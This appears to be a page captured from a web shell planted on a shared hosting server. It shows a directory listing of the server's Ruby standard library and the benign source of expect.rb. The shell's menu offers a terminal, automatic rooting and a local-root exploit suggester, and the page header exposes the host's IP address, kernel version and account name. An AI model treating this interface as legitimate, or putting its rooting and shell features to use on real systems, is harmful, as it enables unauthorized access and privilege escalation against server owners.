Linux server165.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
LiteSpeed
Server IP : 68.65.122.53 & Your IP : 216.73.217.46
Domains :
Cant Read [ /etc/named.conf ]
User : vacazsti
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
opt /
alt /
ruby34 /
share /
ruby /
Delete
Unzip
Name
Size
Permission
Date
Action
bigdecimal
[ DIR ]
drwxr-xr-x
2026-05-14 08:41
cgi
[ DIR ]
drwxr-xr-x
2026-05-14 08:41
did_you_mean
[ DIR ]
drwxr-xr-x
2026-05-14 08:41
digest
[ DIR ]
drwxr-xr-x
2026-05-14 08:41
erb
[ DIR ]
drwxr-xr-x
2026-05-14 08:41
error_highlight
[ DIR ]
drwxr-xr-x
2026-05-14 08:41
fiddle
[ DIR ]
drwxr-xr-x
2026-05-14 08:41
forwardable
[ DIR ]
drwxr-xr-x
2026-05-14 08:41
io
[ DIR ]
drwxr-xr-x
2026-04-20 12:15
json
[ DIR ]
drwxr-xr-x
2026-05-14 08:41
logger
[ DIR ]
drwxr-xr-x
2026-05-14 08:41
net
[ DIR ]
drwxr-xr-x
2026-05-14 08:41
objspace
[ DIR ]
drwxr-xr-x
2026-05-14 08:41
open3
[ DIR ]
drwxr-xr-x
2026-05-14 08:41
openssl
[ DIR ]
drwxr-xr-x
2026-05-14 08:41
optparse
[ DIR ]
drwxr-xr-x
2026-05-14 08:41
prism
[ DIR ]
drwxr-xr-x
2026-05-14 08:41
psych
[ DIR ]
drwxr-xr-x
2026-05-14 08:41
random
[ DIR ]
drwxr-xr-x
2026-05-14 08:41
reline
[ DIR ]
drwxr-xr-x
2026-05-14 08:41
ripper
[ DIR ]
drwxr-xr-x
2026-05-14 08:41
ruby_vm
[ DIR ]
drwxr-xr-x
2025-03-28 23:42
set
[ DIR ]
drwxr-xr-x
2026-05-14 08:41
strscan
[ DIR ]
drwxr-xr-x
2026-05-14 08:41
syntax_suggest
[ DIR ]
drwxr-xr-x
2026-05-14 08:41
unicode_normalize
[ DIR ]
drwxr-xr-x
2026-05-14 08:41
uri
[ DIR ]
drwxr-xr-x
2026-05-14 08:41
vendor_ruby
[ DIR ]
drwxr-xr-x
2026-04-20 12:15
yaml
[ DIR ]
drwxr-xr-x
2026-05-14 08:41
English.rb
5.54
KB
-rw-r--r--
2026-04-20 12:16
benchmark.rb
18.66
KB
-rw-r--r--
2026-04-20 12:16
bundled_gems.rb
7.28
KB
-rw-r--r--
2026-04-20 12:16
cgi.rb
9.83
KB
-rw-r--r--
2026-04-20 12:16
coverage.rb
368
B
-rw-r--r--
2026-04-20 12:16
date.rb
1.17
KB
-rw-r--r--
2026-04-20 12:16
delegate.rb
11.68
KB
-rw-r--r--
2026-04-20 12:16
did_you_mean.rb
4.51
KB
-rw-r--r--
2026-04-20 12:16
digest.rb
3.3
KB
-rw-r--r--
2026-04-20 12:16
erb.rb
14.53
KB
-rw-r--r--
2026-04-20 12:16
error_highlight.rb
84
B
-rw-r--r--
2026-04-20 12:16
expect.rb
2.19
KB
-rw-r--r--
2026-04-20 12:16
fiddle.rb
3.67
KB
-rw-r--r--
2026-04-20 12:16
fileutils.rb
78.8
KB
-rw-r--r--
2026-04-20 12:16
find.rb
2.52
KB
-rw-r--r--
2026-04-20 12:16
forwardable.rb
9.03
KB
-rw-r--r--
2026-04-20 12:16
ipaddr.rb
22.4
KB
-rw-r--r--
2026-04-20 12:16
json.rb
19.58
KB
-rw-r--r--
2026-04-20 12:16
logger.rb
22.49
KB
-rw-r--r--
2026-04-20 12:16
mkmf.rb
92.63
KB
-rw-r--r--
2026-04-20 12:16
monitor.rb
6.97
KB
-rw-r--r--
2026-04-20 12:16
objspace.rb
4.14
KB
-rw-r--r--
2026-04-20 12:16
open-uri.rb
28.38
KB
-rw-r--r--
2026-04-20 12:16
open3.rb
47.51
KB
-rw-r--r--
2026-04-20 12:16
openssl.rb
1.06
KB
-rw-r--r--
2026-04-20 12:16
optionparser.rb
59
B
-rw-r--r--
2026-04-20 12:16
optparse.rb
64.17
KB
-rw-r--r--
2026-04-20 12:16
ostruct.rb
14.22
KB
-rw-r--r--
2026-04-20 12:16
pathname.rb
17.2
KB
-rw-r--r--
2026-04-20 12:16
pp.rb
18.36
KB
-rw-r--r--
2026-04-20 12:16
prettyprint.rb
15.93
KB
-rw-r--r--
2026-04-20 12:16
prism.rb
3.03
KB
-rw-r--r--
2026-04-20 12:16
pstore.rb
20.36
KB
-rw-r--r--
2026-04-20 12:16
psych.rb
25.1
KB
-rw-r--r--
2026-04-20 12:16
readline.rb
215
B
-rw-r--r--
2026-04-20 12:16
reline.rb
14.93
KB
-rw-r--r--
2026-04-20 12:16
resolv.rb
87.96
KB
-rw-r--r--
2026-04-20 12:16
ripper.rb
2.44
KB
-rw-r--r--
2026-04-20 12:16
securerandom.rb
2.28
KB
-rw-r--r--
2026-04-20 12:16
set.rb
25
KB
-rw-r--r--
2026-04-20 12:16
shellwords.rb
7.53
KB
-rw-r--r--
2026-04-20 12:16
singleton.rb
5.52
KB
-rw-r--r--
2026-04-20 12:16
socket.rb
59.49
KB
-rw-r--r--
2026-04-20 12:16
syntax_suggest.rb
74
B
-rw-r--r--
2026-04-20 12:16
tempfile.rb
20.68
KB
-rw-r--r--
2026-04-20 12:16
time.rb
23.96
KB
-rw-r--r--
2026-04-20 12:16
timeout.rb
5.72
KB
-rw-r--r--
2026-04-20 12:16
tmpdir.rb
5.62
KB
-rw-r--r--
2026-04-20 12:16
tsort.rb
14.29
KB
-rw-r--r--
2026-04-20 12:16
un.rb
11.17
KB
-rw-r--r--
2026-04-20 12:16
uri.rb
3.09
KB
-rw-r--r--
2026-04-20 12:16
weakref.rb
1.36
KB
-rw-r--r--
2026-04-20 12:16
yaml.rb
2.13
KB
-rw-r--r--
2026-04-20 12:16
Save
Rename
# frozen_string_literal: true $expect_verbose = false class IO # call-seq: # IO#expect(pattern,timeout=9999999) -> Array # IO#expect(pattern,timeout=9999999) { |result| ... } -> nil # # The +expect+ library adds instance method IO#expect, # which is similar to the # {TCL expect extension}[https://www.tcl.tk/man/expect5.31/expect.1.html]. # # To use this method, you must require +expect+: # # require 'expect' # # Reads from the IO until the given +pattern+ matches or the +timeout+ is over. # # It returns an array with the read buffer, followed by the matches. # If a block is given, the result is yielded to the block and returns nil. # # When called without a block, it waits until the input that matches the # given +pattern+ is obtained from the IO or the time specified as the # timeout passes. An array is returned when the pattern is obtained from the # IO. The first element of the array is the entire string obtained from the # IO until the pattern matches, followed by elements indicating which the # pattern which matched to the anchor in the regular expression. # # The optional timeout parameter defines, in seconds, the total time to wait # for the pattern. If the timeout expires or eof is found, nil is returned # or yielded. However, the buffer in a timeout session is kept for the next # expect call. The default timeout is 9999999 seconds. def expect(pat,timeout=9999999) buf = ''.dup case pat when String e_pat = Regexp.new(Regexp.quote(pat)) when Regexp e_pat = pat else raise TypeError, "unsupported pattern class: #{pat.class}" end @unusedBuf ||= '' while true if not @unusedBuf.empty? c = @unusedBuf.slice!(0) elsif !IO.select([self],nil,nil,timeout) or eof? then result = nil @unusedBuf = buf break else c = getc end buf << c if $expect_verbose STDOUT.print c STDOUT.flush end if mat=e_pat.match(buf) then result = [buf,*mat.captures] break end end if block_given? then yield result else return result end nil end end